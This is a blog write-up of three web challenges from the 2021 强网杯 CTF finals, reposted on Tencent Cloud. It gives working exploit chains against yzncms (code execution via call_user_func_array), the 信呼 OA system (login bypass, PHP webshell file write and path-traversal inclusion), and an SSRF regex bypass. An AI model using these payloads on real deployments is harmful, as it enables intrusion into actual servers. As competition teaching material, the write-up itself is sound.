前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >强网杯2021final

强网杯2021final

作者头像
HhhM
发布2022-08-10 16:26:00
4070
发布2022-08-10 16:26:00
举报
文章被收录于专栏:H&M的专栏H&M的专栏

强网杯2021final

2021-07-13 22:07:00
ctf - qwb

mDMZ

yzncms,之前沉迷挖cnvd的时候挖过这个cms,基于tp开发的,所以直接就往控制器里面看了,最后在collection/Node/parseFunction处找到了一个call_user_func_array,如图:

因为args是从varArray中取到的,按着tp的这种调用模式match跟content都是可控的,那么接下来就直接任意代码执行了:

然后就是执行命令:match=system&content=ls

OA

一个信呼的oa,搜一下能找到这一篇:

https://www.cnblogs.com/p00mj/p/11797819.html

个人觉得审计php写的框架首先的话是需要看懂框架中对于函数的调用方式,项目中webmain类似于tp应用中的app/application,因此着重看这里面的代码,然后就是看函数的调用方式,如文章中提到的登陆验证绕过的路径:

代码语言:javascript
复制
?m=mode&d=task&a=init&adminid=0&token=11

对应于调用到webmain/task/mode/modeAction.php中的initAction函数,而需要了解到action.php中还有一些函数以Ajax结尾,如xxxAjax,调用他们的方式类似的,只需加上一个参数ajaxbool=true

在webmain/main/flow/flowAction.php中找到了如下:

代码语言:javascript
复制
    public function pagesaveAjax()
    {
        $content = $this->post('content');
        $num     = $this->post('num');
        $path    = ''.P.'/flow/page/input_'.$num.'.html';
        if(COMPANYNUM)$path      = ''.P.'/flow/page/input_'.$num.'_'.COMPANYNUM.'.html';
        $bo      = $this->rock->createtxt($path, $content);
        if(!$bo){
            echo '无法写入文件:'.$path.'';
        }else{
            echo 'success';
        }
    }

可以写任意html,如:

代码语言:javascript
复制
http://localhost:9987/index.php?a=pagesave&m=flow&d=main&ajaxbool=true
post:
content=<?php system("ls");?>&num=a

会写到webmain/flow/page/input_a.html文件中,内容当然是content的值,接下来需要找一处文件包含的洞,在输错要调用的函数会发现:

代码语言:javascript
复制
index.php?a=c&m=b&d=a
//actionfile not exists;tpl_b_c.html not exists;

为了验证此处是否可进行文件包含,我写入了一个/../tpl_b_c,此时在page目录下新增了一个tpl_b_c.html,接下来是尝试去调用他,发现拼接后的路径是:

代码语言:javascript
复制
/var/www/html/webmain/flow/b/

那么也简单,写入一个num=/../tpl_page_c,调用时则:

代码语言:javascript
复制
/index.php?a=c&m=page&d=flow

成功包含到了html文件,修改content执行任意代码。

rua

题目给了一个p.php跟一个file.php,p页面给的是phpinfo,file页面是一个file_get_contents参数可控的页面,直接访问/flag给出了一个docker,本地部署一下后可以获取到一些信息,如web,nginx的配置路径等。

因为flag不在本机上,因此先用file.php来扫描内网,扫到了172.19.0.3中存在了另一个file_get_contents,虽然参数可控但是需要发送post包,在/etc/nginx/conf.d/default.conf路径下找到了nginx的配置,其中给了一个/api,内容如下

用到它可以发送一个post包,但关键是如何绕过此处正则,根据配置文件的描述,假若我们传入:

代码语言:javascript
复制
api?url=http://www.baidu.com/

得到的domain是为www.baidu.com,那么比较有趣的点就是这个正则用的是\S,那么剩下的一个字符就是空格了,那么将空格放到其内即可绕过这一个正则:

payload:

代码语言:javascript
复制
http://172.19.0.3:80%20/index.php?//r3kapig.com/aaaa
post:
good_you_got_it_XD=/flag

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-07-13 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 强网杯2021final
    • mDMZ
      • OA
        • rua
        相关产品与服务
        容器服务
        腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档